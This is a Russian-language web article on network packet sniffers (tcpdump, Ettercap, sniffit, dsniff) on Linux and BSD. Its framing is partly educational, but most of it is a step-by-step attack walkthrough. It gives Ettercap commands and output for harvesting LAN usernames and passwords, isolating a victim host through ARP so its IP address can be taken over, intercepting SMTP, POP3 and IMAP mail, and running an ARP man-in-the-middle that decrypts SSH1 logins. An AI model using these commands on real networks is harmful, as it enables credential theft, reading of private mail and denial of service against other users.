Базы данныхИнтернетКомпьютерыОперационные системыПрограммированиеСетиСвязьРазное
Поиск по сайту:
Подпишись на рассылку:

Назад в раздел

Сетевые нюхачи

div.main {margin-left: 20pt; margin-right: 20pt}

Сетевые нюхачи


Андрей Матвеев, СофтТерра


Перехватчики сетевых пакетов могут не только использоваться администратором сети для проверки и детального анализа правильности конфигурации сетевого программного обеспечения, но и представляют собой серьезную угрозу, поскольку могут перехватывать и расшифровывать имена и пароли пользователей, конфиденциальную информацию, нарушать работу отдельных компьютеров и сети в целом. Как бороться с этим недугом программистской мысли мы попробуем разобраться в следующих статьях из цикла "Linux обеспечивает безопасность сети".

В настоящее время аппаратная архитектура Ethernet завоевала большую часть рынка при создании локальных сетей, хотя существуют и другие аппаратные решения не на IEEE 802.3, такие как FDDI, Token Ring (802.5), ARCNET, WAN, ATM и другие. Относительная недороговизна в сочетании с технической скоростью передачи данных в 10, 100 и 1000 мегабит в секунду способствует ее популярности. Сеть Ethernet работает как магистраль, через которую любой узел может пересылать пакеты на другой узел, подключенный к тому же сегменту сети. Для перенаправления пакетов из одной сети в другую необходимо пользоваться репитером, свитчем или хабом. Процесс передачи фреймов обеспечивает межсетевой протокол, который не зависит от оборудования и представляет различные сети в одну сеть. Но при использовании этого протокола нет гарантий, что пакет достигнет адресата, но решение этой задачи обеспечивает протокол TCP/IP, занимающийся гарантированной доставкой пакетов. TCP не единственный протокол в стеке протоколов TCP/IP, существует еще протокол UDP, который много быстрее протокола TCP, так как не создает и не закрывает сеанс соединения, а узел с помощью его просто отправляет данные в дейтаграммах другим узлам в сети. Пакет, отправленный в широковещательной сети одним из узлов, принимается всеми находящимися в этом сегменте сети машинами, но только узел назначения, указанный в заголовке пакета, "смотрит" на него и начинает его обработку (относится и к TCP и к UDP протоколам).

Анализаторы пакетов относятся к классу инструментальных программных средств для мониторинга сетевого траффика и выявления некоторых типов сетевых проблем. По умолчанию сетевой интерфейс видит пакеты, предназначенные только для него. Однако анализаторы устанавливают его в режим приема всех пакетов – promiscuous mode, прослушивают сеть и заставляют сетевой интерфейс принимать все фреймы, вне зависимости от того, кому они адресованы в сети. Для установки "вручную" сетевого интерфейса в неразборчивый режим необходимо включить флаг PROMISC: ifconfig eth0 promisc; для отключения promiscuous mode: ifconfig eth0 –promisc .

Ярким примером инструментального программного средства служит программа tcpdump, написанная Вэном Якобсоном и поставляющаяся сейчас со многими дистрибутивами. Пример использования tcpdump:
tcpdump –i eth0 –n –vv –w /root/tcpdump.log
где:
-I – сетевой интерфейс;
-n – делаем числовой вывод адресов и номеров портов;
-vv – очень подробный вывод;
-w – запись лога в файл.
Чтобы прочитать перехваченный траффик из лога (выводим не на консоль, а в файл):
tcpdump –r /root/tcpdump.log > /root/tcpdump0.log

Фрагмент работы tcpdump:
14:06:28.250082 B 192.168.5.17.1445 > 255.255.255.255.8167: udp 21
14:07:24.126187 > midian > 192.168.5.23: icmp: echo request
14:07:24.126667 < 192.168.5.23 > midian: icmp: echo reply

Первая строка показывает, что 192.168.5.17 пользуется программой для общения в локальной сети (делает широковещательный запрос, используется порт 8167), вторая и третья указывают, что хост midian проверяет машину с IP-адресом 192.168.5.23 программой ping.

Вынюхиватели пакетов несомненно полезны для решения администратором сети известных и неизвестных проблем, но существует и обратная сторона медали: неразборчивый режим приема пакетов позволяет злоумышленнику получать весь траффик в сети и фильтровать его на наличие имен, паролей пользователей, незашифрованных писем и т.д. Теперь все только ограничивается фантазией хакера.

Ettercap
Особенности этого сниффера: работает на Linux 2.0.x, Linux 2.2.x, Linux 2.4.x, FreeBSD 4.x, OpenBSD 2.[789], NetBSD 1.5.x, Mac OS (darwin 1.3); перехват и расшифровка паролей TELNET, SSH1, FTP, POP, LOGIN, ICQ, SMB, MySQL, HTTP, HTTPS, NNTP, X11, NAPSTER, IRC, RIP, BGP, SOCKS 5, IMAP 4, VNC; возможнось вставки символов в установленное соединение – будет происходить эмуляция команд сервера и ответов клиента (работает только в интерактивном режиме); нетребовательность к библиотекам libpcap, libnet, libnids в отличии от других снифферов; поддержка плагинов; возможность написания собственных плагинов; текстовый и псевдографический (основанный на ncurses) интерфейсы; различные виды прослушивания; возможность использования фильтров; работа в сети с активными интеллектуальными хабами.

Последнюю версию берем здесь: Устанавливаем сниффер:
./configure
make
make install
Устанавливаем плагины:
make plug-ins
make plug-ins_install

Некоторые опции сниффера:
-a, -s, -m – различные виды прослушивания;
-N – запускать сниффер без псевдографики;
-z – запуск в спокойном режиме;
-d – не преобразовывать IP-адреса в имена;
-i – сетевой интерфейс;
-l – вывести список хостов в сети;
-C – собирать все имена и пароли пользователей;
-f – определение операционной системы удаленного хоста;
-p – работа с плагинами;
-L – записывать в лог, имеющий формат: год…месяц…день-collected-pass.log

Рассмотрим некоторые виды использования этого сниффера. Перехватываем все имена пользователей и пароли в нашем сегменте сети и записываем в лог:
ettercap –NdzsCLi eth0
После недолгого ожидания получаем необходимое ;)
14:43:45 192.168.5.29:1755 <--> 212.48.140.154:80 www
USER: leshii
PASS: softerra
http://www.nm.ru/gateway_chat.shtml
Определяем операционную систему хоста, например, с IP-адресом 192.168.5.24:
ettercap – Ndzsfi eth0 192.168.5.24
Смотрим установленные у нас плагины и описания к ним:
ettercap – N –p list
Для активации плагина (например, пропингуем какой-нибудь хост):
ettercap – N –p ooze 192.168.5.33
Самый интересным на мой взгляд плагином является leech. Он изолирует удаленный хост от сети. Пример работы этого плагина:
Сначала проверим, "жив" ли хост:
andrushock# ping –v –c 4 192.168.5.23
PING 192.168.5.23 (192.168.5.23): 56 data bytes
64 bytes from 192.168.5.23: icmp_seq=0 ttl=128 time=0.945 ms
64 bytes from 192.168.5.23: icmp_seq=1 ttl=128 time=0.562 ms
64 bytes from 192.168.5.23: icmp_seq=2 ttl=128 time=0.524 ms
64 bytes from 192.168.5.23: icmp_seq=3 ttl=128 time=0.520 ms

Запускаем плагин (операционная система хоста жертвы – win98se):
andrushock# ettercap –Ndp leech 192.168.5.23
Наблюдаем за процессом работы:
Your IP: 192.168.5.21 MAC: 00:50:BF:4A:48:F3 Iface: ed0
Starting ./ec_leech.so plugin...
Building host list for netmask 255.255.255.0, please wait...
Sending 255 ARP request...
Listening for replies...
Isolating host 192.168.5.23...Press return to stop
Ждем пару минут и смело нажимаем ^C, затем проверяем работу плагина:
andrushock# ping –v –c 4 192.168.5.23
PING 192.168.5.23 (192.168.5.23): 56 data bytes
---192.168.5.23 ping statistics---
4 packets transmitted, 0 packet received, 100% packet loss
andrushock#

Все, сетевой интерфейс на машине жертвы на некоторое время перестает работать, хотя операционная система и запущенные приложения функционируют в том же нормальном режиме. Но этого "некоторого" времени хватает, например, для того, чтобы заполучить себе IP-адрес жертвы:
ifconfig eth0 down
ifconfig eth0 inet 192.168.5.23
ifconfig eth0 up
И набираем команду, чтобы удостовериться о нашем "новом" IP-адресе: ifconfig eth0

Перехват незашифрованных почтовых сообщений. Вид записи: ./ettercap –Nzds <IP-адрес почтового сервера>:<port почтового сервера> <IP- адрес клиента>
Пример перехвата исходящих писем:
./ettercap –Nzds ANY:25 ANY > /root/sniff.smtp
И смотрим через некоторое время, что попалось в наши сети (привожу часть лога):
сat /root/sniff.smtp
Your IP: 192.168.5.21 with MAC: 00:50:BF:4A:48:F3 on Iface: eth0
Press 'h' for help...
Sniffing (IP based): ANY:0 <--> ANY:25
18:19:14 192.168.5.23:1030 --> 80.68.244.5:25
18:19:14 80.68.244.5:25 --> 192.168.5.23:1030
Далее идет процесс аутентификации, письмо от кого, адрес реципиента, их валидность и сам текст письма.
To: andrushock@fromru.com.
Subject: test.
Mime-Version: 1.0.
Content-Type: text/plain; charset=us-ascii.
Content-Transfer-Encoding: 7bit.
.
Hello andrushock,.
.
Test for Softerra.
.
-- .
Best regards,.
Noname mailto: ******@pisem.net.
Далее сообщение демона о принятии письма к отправке и завершение почтовым сервером соединения.

Для перехвата входящих в локальную сеть электронных писем используем:
./ettercap –Nzds ANY:110 ANY > /root/sniff.pop3
или
./ettercap –Nzds ANY:143 ANY > /root/sniff.imap4

Пример перехвата паролей во время сессии SSH:
На одной машине 192.168.5.21 стоит ettercap (назовем злоумышленник), на втором 192.168.5.4 sshd (назовем сервер), а на третьем 192.168.5.22 SecureCRT (назовем клиент).
./ettercap –Ndl - выводим список всех айпишников с МАС-адресами машин в сегменте локальной сети, запоминаем только МАС-адреса сервера и клиента. Запускаем сниффер на прослушивание и ждем когда клиент инициализирует сеанс Secure Shell с сервером и начнется процесс аутентификации. В этом случае машина злоумышленника является "мостом", через который будет проходить и расшифровываться на лету весь проходящий траффик между клиентом и сервером.
Вид записи:
./ettercap –za <IP-адрес сервера> <IP-адрес клиента> <MAC-адрес сервера> <MAC-адрес клиента>
./ettercap –za 192.168.5.4 192.168.5.22 00:50:BF:03:BC:47 00:A0:24:93:61:3D
Привожу "текстовый скриншот"

ettercap 0.5.4
SOURCE: 192.168.5.22 ? Filter: OFF
doppleganger – illithid (ARP Based) – ettercap
DEST: 192.168.5.4 ? Active Dissector: ON

??? hosts in this LAN (192.168.5.21 : 255.255.255.0)
1) 192.168.5.22:1252 ?? 192.168.5.4:22 | silent | SSH decrypt

Your IP: 192.168.5.21 MAC: 00:50:BF:4A:48:F3 Iface: ed0 Link: not tested
USER: testuser
PASS: softerra

В левом нижнем углу лицезреем уже расшифрованные имя пользователя и его пароль. Примечание: сетевой интерфейс действительно ed0, так как программа тестировалась в операционных системах Linux и FreeBSD.

Постоянно выходят новые версии Ettercap, в которых исправляются ошибки (например, только несколько версий назад исправили "глюк", когда после работы сетевой интерфейс, на котором был запущен этот сниффер падал), добавляются новые возможности и переносы на другие операционные системы, в отличие от программ описанных ниже, работа над которыми уже давно не ведется, хотя в настоящее время на мой взгляд эти анализаторы протоколов являются самыми популярными.

sniffit Возможности этого сниффера: работает на LINUX, SunOS/Solaris, Irix, FreeBSD, BSDi, DEC/OSF, NetBSD; перехват паролей FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP, MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI, Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase and Microsoft SQL; использование конфигурационных файлов для создания фильтров; имеет текстовый и псевдографический (основанный на ncurses) интерфейсы.

Примечание: необходимо наличие libpcap

dsniff Примечание: эту версию сниффера я не смог поставить на Red Hat Linux 7.0, поэтому пришлось качать более новую, но beta, где как раз исправлена ошибка компоновки для дистрибутивов Red Hat Linux 6,7.

Возможности этого сниффера: работает на OpenBSD (i386), Redhat Linux (i386), Solaris (sparc), FreeBSD, Debian Linux, Slackware Linux, AIX, HP-UX; перехват паролей FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP, MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI, Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase, Microsoft SQL; также в этот пакет входит набор "утилит" для перехвата сообщений AOL Instant Messenger, ICQ 2000, IRC, Yahoo Messenger chat, прослушивания ssh траффика, флуда локальной сети случайными MAC-адресами, ограничения пропускной способности соединения, обрыва заданного TCP-соединения и др.; не имеет псевдографического интерфейса.

Есть еще одна интересная особенность этого сниффера. Наткнулся я на нее совершенно случайно...
cat dsniff.8 | grep ‘Dug Song’ > /root/dug.song && man sshd | grep ‘Dug Song’ >> /root/dug.song && clear && cat /root/dug.song
И вот что получилось:

Dug Song <dugsong@monkey.org> Niels Provos, Theo de Raadt, and Dug Song.

Выводы делаем сами...

Примечание: необходимо наличие
Berkeley DB - http://www.sleepycat.com/
OpenSSL - http://www.openssl.org/
libpcap - http://www.tcpdump.org/
libnids - http://www.packetfactory.net/Projects/Libnids/
libnet - http://www.packetfactory.net/Projects/Libnet/



  • Главная
  • Новости
  • Новинки
  • Скрипты
  • Форум
  • Ссылки
  • О сайте




  • Emanual.ru – это сайт, посвящённый всем значимым событиям в IT-индустрии: новейшие разработки, уникальные методы и горячие новости! Тонны информации, полезной как для обычных пользователей, так и для самых продвинутых программистов! Интересные обсуждения на актуальные темы и огромная аудитория, которая может быть интересна широкому кругу рекламодателей. У нас вы узнаете всё о компьютерах, базах данных, операционных системах, сетях, инфраструктурах, связях и программированию на популярных языках!
     Copyright © 2001-2024
    Реклама на сайте